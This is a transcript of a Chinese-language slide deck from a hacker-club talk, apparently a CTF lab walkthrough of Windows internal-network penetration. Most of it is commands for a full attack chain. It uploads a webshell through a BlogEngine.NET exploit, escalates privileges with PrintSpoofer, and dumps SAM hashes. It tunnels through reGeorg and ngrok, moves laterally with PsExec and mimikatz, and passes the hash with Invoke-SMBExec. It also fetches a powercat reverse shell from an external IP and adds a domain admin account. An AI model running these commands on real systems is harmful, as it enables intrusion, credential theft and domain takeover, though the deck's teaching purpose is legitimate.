Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Windows 內網滲透

123ojp
August 17, 2020

Windows 內網滲透

2020/8/17 黑客社 Windows 內網滲透 演講簡報
大綱:
由一個 CVE 進入 IIS主機 後,如何橫向擴散到 OA 和 AD主機。
計分板:
https://ctf.foxo.tw/

123ojp

August 17, 2020
Tweet

More Decks by 123ojp

Other Decks in Technology

Transcript

  1. 第⼀一關 CVE 解答 • ⼤大禮包打開來來 • 執⾏行行 • ▶ python

    BlogEngine.NET_poc_upload.py -t '140.134.208.100:55555' -u admin -p admin -f ASPXspy2.aspx • 後⾨門密碼 admin http://140.134.208.100:55555/Custom/Themes/RCE/ASPXspy2.aspx
  2. 提權好處 • ⼀一般權限 • 掃 port • 做 web server能做的事

    • 最⾼高權限 • 想幹嘛就幹嘛 • 幫他關機 • dump 機器上所有密碼 、 關防毒
  3. 第⼆二關 - Network Service 提權 •PrintSpoofer •Local/Network Service to SYSTEM

    •https://github.com/itm4n/PrintSpoofer •Support •Windows 10 & Windows Server 2019.. even more •Usage •PrintSpoofer.exe -c "command"
  4. 使⽤用條件 • Whoami /priv 其中⼀一項開啟 • SeImpersonatePrivilege => CreateProcessWithToken() •

    SeAssignPrimaryToken => CreateProcessAsUser() • 看起來來是預設開啟
  5. 使⽤用 PrintSpoofer 讀 flag • -c "C:\windows\system32\cmd.exe /c type 


    C:\flag.txt > 
 C:\inetpub\wwwroot\Custom\Themes\RCE\tmp.txt"
  6. SAM 檔案: 儲存本地⽤用⼾戶的 NTLM Hash • Security Account Manager •

    安全帳⼾戶管理理器是Windows XP,Windows Vista, Windows 7、8.1和10中的數據庫⽂文件,⽤用於存儲⽤用⼾戶密 碼。它可⽤用於對本地和遠程⽤用⼾戶進⾏行行⾝身份驗證。從 Windows 2000 SP4開始,Active Directory對遠程⽤用⼾戶進⾏行行 ⾝身份驗證。SAM使⽤用加密措施來來防⽌止未經⾝身份驗證的⽤用⼾戶 訪問系統。 ——维基百科(英⽂文)
  7. Dump SAM • 使⽤用 PrintSpoofer Dump • -c "reg save

    HKLM\SAM C:\inetpub\wwwroot\sam.zip" • -c "reg save HKLM\SYSTEM C:\inetpub\wwwroot\system.zip"
  8. 解析 SAM • Creddump7 • git clone https://github.com/Neohapsis/creddump7 • pip

    install pycrypto • python2 • python pwdump.py system.zip sam.zip
  9. Dump 結果 Username UID LM Hash NTLM Hash fox: 1000:

    aad3b435b51404eeaad3b435b 51404ee: 7ecffff0c3548187607a14bad0f8 8bb1:::
  10. http tunnel • ⽤用 http 協定達成 proxy • 常⽤用於 web

    server 被打下來來(不⽤用提權即可使⽤用) • 常⾒見見⼯工具 reGeorg • 上傳 interface 到 受害者server • 使⽤用 http url 建立⼀一個 sock proxy 到本機
  11. 解壓縮 ⼤大禮包裡的 reGeorg • 然後把 上傳 (因為我們今天試⽤用 .net 所以選aspx) •

    打開網⾴頁確定 運作正常 • http://140.134.208.100:55555/Custom/Themes/RCE/ tunnel.aspx
  12. 運⽤用http tunnel 掃內網 • 在kali 執⾏行行 • python reGeorgSocksProxy.py -u

    http:// 140.134.208:100:55555/Custom/Themes/RCE/ tunnel.aspx • proxy 在
 127.0.0.1:8888
  13. proxychains • Kali 內建 • 使⽤用設定的proxy執⾏行行後⽅方指令 • ex. proxychains nmap

    …. • 修改 proxy位⼦子 改到8888 • vim /etc/proxychains.conf
 (kali 預設位置)
  14. proxychains + nmap • 設定完 使⽤用 • $ proxychains <command>

    • $ proxychains nmap -sT -Pn -p 445 192.168.122.0/24
  15. tunnel 很慢 我幫你掃 • proxychains nmap -sT -Pn -p 445

    192.168.122.58 • proxychains nmap -sT -Pn -p 445 192.168.122.246
  16. 企業 Windows 常⾒見見架構 Web Server AD OA OA Control Control

    office automation system https://en.wikipedia.org/wiki/Office_automation
  17. Active Directory (AD) • Active Directory(簡稱AD。中國譯名為「活動⽬目錄」,台灣 為維持英⽂文不譯)是微軟Windows Server中,負責架構中⼤大 型網路路環境的集中式⽬目錄管理理服務(Directory Services),

    在Windows 2000 Server開始內建於Windows Server產品中, 它處理理在組織中的網路路物件,物件可以是使⽤用者、群組、電 腦、網域控制站、郵件、設定檔、組織單元、樹系等等,只要 是在Active Directory結構定義檔(schema)中定義的物件, 就可以儲存在Active Directory資料檔中,並利利⽤用Active Directory Service Interface來來存取,實際上,許多Active Directory的管理理⼯工具都是利利⽤用這個介⾯面來來呼叫並使⽤用Active Directory的資料。 — 維基百科
  18. 下⼀一步 打OA Web Server AD OA Control Control 192.168.122.58 192.168.122.246

    192.168.122.53 OA 通常會有 ⼤大量量使⽤用者登入
  19. 把 OA smb 代理理出來來 • 上傳 ngrok • 申請 ngrok

    token https://dashboard.ngrok.com/ • 拿取 token
  20. 上傳失敗? 壓縮上傳 • 壓縮 ngrok • 上傳後 ⽤用powershell 解壓 •

    /c powershell -command "Expand-Archive 
 C:\inetpub\wwwroot\Custom\Themes\RCE\ngrok.zip 
 C:\inetpub\wwwroot\Custom\Themes\RCE\a"
  21. Port Forwarding • 在 Kali 上灌 ssh server • apt-get

    install openssh-server • 設定 Port Forwarding • vim /etc/ssh/sshd_config • 重啟 sshd • /etc/init.d/ssh restart
  22. 使⽤用ssh 把遠端代理理回445 • ssh 127.0.0.1 -NL 0.0.0.0:445:<the_ip_on_dashboard> • eg ssh

    127.0.0.1 -NL 0.0.0.0:445:2.tcp.ngrok.io:12723 • 確定⾃自⼰己 kali ip
  23. 在 windows 執⾏行行 PsExec.exe • Psexec.exe • 有微軟簽章的遠端執⾏行行⼯工具 • 走

    smb 協定 (想不到smb可以執⾏行行程式吧) • 有 eula 記得加參參數取消 • psexec.exe -accepteula • 64 位元要⽤用 Psexec64.exe
  24. 使⽤用相同密碼 PsExec.exe 跳到OA • PsExec64.exe \\<IP> -accepteula -s -u <帳號>

    -p <密碼> <程式> • eg: PsExec64.exe \\192.168.50.184 -s -accepteula -u fox -p 1qaz@WSX3edc cmd
  25. 使⽤用 cmd 存取 • 掛載遠端磁碟 • net use \\<ip>\C$ /user:<username>

    <password> • net use \\192.168.122.58\C$ /user:fox "1qaz@WSX3edc" • 查看掛載詞耊 • net use
  26. Copy iis 檔案 到 OA • copy <檔案位⼦子> <檔案位⼦子> •

    copy 
 C:\inetpub\wwwroot\Custom\Themes\RCE\mimikatz.exe 
 \\192.168.122.58\C$
  27. 再次啟動Psexec • 再次連上 OA 記得加-s flag 拿system 權限 • PsExec64.exe

    \\<Kali_IP> -accepteula -u <帳號> -p <密碼> -s cmd • eg: PsExec64.exe \\192.168.50.184 -accepteula -u fox -p 1qaz@WSX3edc -s cmd • 執⾏行行 mimikatz.exe
  28. 使⽤用ssh 把遠端代理理回445 • ssh 127.0.0.1 -NL 0.0.0.0:445:<the_ip_on_dashboard> • eg ssh

    127.0.0.1 -NL 0.0.0.0:445:2.tcp.ngrok.io:12723 • 記得把上⼀一個 ctrl+c 關掉
  29. ⽤用 powershell 腳本 pass the hash • [System.Net.ServicePointManager]::ServerCertificateValidatio nCallback =

    {$true}; //關閉 ssl 保護 複製時注意換⾏行行空⽩白 • IEX(New-Object System.Net.WebClient).DownloadString("https:// 35.201.144.177/Invoke-SMBExec.ps1"); //Load script 
 (防毒要關) • Invoke-SMBExec -Target <IP> -Domain <Domain> - Username <Username> -Hash <Hash> -Command '<命令>' - verbose
  30. 搭配 reverse shell • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username

    kingoffox -Hash 9b9a292a04ba3679b3822d1586bd5b29 -Command 'powershell -c " [System.Net.ServicePointManager]::ServerCertificateVali dationCallback = {$true}; IEX(New-Object System.Net.WebClient).DownloadString(\"https:// 35.201.144.177/powercat.ps1\");powercat -c 140.134.243.8 -p 4444 -e cmd"' -verbose
  31. 新增 domain admin帳號 • dsadd user "cn=hackfox,cn=Users,dc=foxo,dc=tw,dc=ctf" -samid hackfox -upn

    [email protected] -fn Fox -ln Hack -display "Hack Fox" -disabled no -pwd "@J*@U#(Jdfj" • net group "Domain Admins" hackfox /ADD /DOMAIN • 如果沒有 主機 可以 reverse shell 直接執⾏行行創帳號 在登入
  32. 直接創帳號 • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username kingoffox -Hash

    9b9a292a04ba3679b3822d1586bd5b29 -Command 'dsadd user "cn=hackfox,cn=Users,dc=foxo,dc=tw,dc=ctf" -samid hackfox -upn [email protected] -fn Fox -ln Hack - display "Hack Fox" -disabled no -pwd "@J*@U#(Jdfj"' - verbose • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username kingoffox -Hash 9b9a292a04ba3679b3822d1586bd5b29 -Command 'net group "Domain Admins" hackfox /ADD /DOMAIN' -verbose
  33. 改成 forward AD 3389 • CmdPath: • C:\inetpub\wwwroot\Custom\Themes\RCE\a\ngrok.exe • Argument:

    • tcp 192.168.122.246:3389 --authtoken <your_token> 
 -region ap